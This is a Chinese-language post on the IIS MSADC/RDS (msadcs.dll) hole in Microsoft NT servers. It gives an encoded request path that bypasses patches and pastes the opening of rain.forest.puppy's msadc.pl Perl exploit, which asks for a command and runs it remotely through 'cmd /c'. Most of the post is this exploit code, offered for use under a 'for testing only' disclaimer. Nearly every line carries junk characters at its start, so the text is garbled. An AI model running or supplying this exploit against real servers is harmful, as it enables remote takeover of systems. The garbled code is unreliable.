IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
!$qNugLg "xdXHuX 涉及程序:
>77
/e@ Microsoft NT server
u23^* - 6>SP5|GG 描述:
lmQ!q>N 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
VG q' y<8)mw 详细:
R%8nR6iG" 如果你没有时间读详细内容的话,就删除:
9I+;waLlB c:\Program Files\Common Files\System\Msadc\msadcs.dll
-:*PXu 有关的安全问题就没有了。
r >u0Y -"<H$ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
ATk>:^n `c(,_oa{ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
.e"De-u 关于利用ODBC远程漏洞的描述,请参看:
b4S7Q"g ) m%ghpX http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm J$j&j` !gW$A-XD 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
z!D >l http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3yZtyXRPn :*)~nPVV 这里不再论述。
1sGkbfh{t s80:.B 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
\*v}IO>2}) S2;{)"mS /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
,BOB &u 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
~}$:iyJV(> J0C<Qb[ }\OLBg/ #将下面这段保存为txt文件,然后: "perl -x 文件名"
+mMn1& e7>)Z #!perl
()}O|JL:K #
xJJlV P # MSADC/RDS 'usage' (aka exploit) script
y? )v-YGu #
mQ('X~l # by rain.forest.puppy
EYcvD^!1g #
yQM7QLbTk # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
1CFrV=d # beta test and find errors!
toX4kmC l/DV
?27 use Socket; use Getopt::Std;
s7D_fv4e getopts("e:vd:h:XR", \%args);
0F0V JE 8Rc4+g print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
FWq6e, 0r_8/|N# if (!defined $args{h} && !defined $args{R}) {
f&7SivS# print qq~
MS_&;2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
X+?*Tw!\ -h <host> = host you want to scan (ip or domain)
B#B$w_z -d <seconds> = delay between calls, default 1 second
F,%qG, -X = dump Index Server path table, if available
zTAt% w5 -v = verbose
Haaungb" -e = external dictionary file for step 5
<@A/`3_O) E)09M%fe Or a -R will resume a command session
cx1U6A+ mhnD1}9,Ih ~; exit;}
`0=0IPVd |.*),t3
(w $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
gmj
a2F, if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
c zL[W2l if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
zVGjXuNa if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
42Tjbten_u $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
zi:GvTG if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
\G#Qe*"'K nyw, Fu if (!defined $args{R}){ $ret = &has_msadc;
Zo-E0[9 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
^.nvX{H8~= 7$8z}2 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
?*9U
d . "cmd /c ";
gD@ &/j7 $in=<STDIN>; chomp $in;
q4xB`G $command="cmd /c " . $in ;
67<zBw2 4)]g=-3 if (defined $args{R}) {&load; exit;}
xX{uDMYa; ]6pxd \Q print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=yz#L@\! &try_btcustmr;
!jU<(eY rf@/<Wu print "\nStep 2: Trying to make our own DSN...";
<{[AG3/Zj4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
h<Yn0(. &oWWc$ print "\nStep 3: Trying known DSNs...";
Hm-+1Wx &known_dsn;
B(:Kw;r? 6pLB`1[v print "\nStep 4: Trying known .mdbs...";
!_?<-f( &known_mdb;
PC.$&x4w1 awHfd5nRS if (defined $args{e}){
/A9M v%zjk print "\nStep 5: Trying dictionary of DSN names...";
nbMH:UY,J &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Jk}L+Xvv P qagep d print "Sorry Charley...maybe next time?\n";
69dFd!G\ exit;
[{}9"zB$x0 E,c~.jYc ##############################################################################
f8#WT$Ewy 6!n"E@Bwu sub sendraw { # ripped and modded from whisker
SR*%-JbA sleep($delay); # it's a DoS on the server! At least on mine...
vk5pnCM^3 my ($pstr)=@_;
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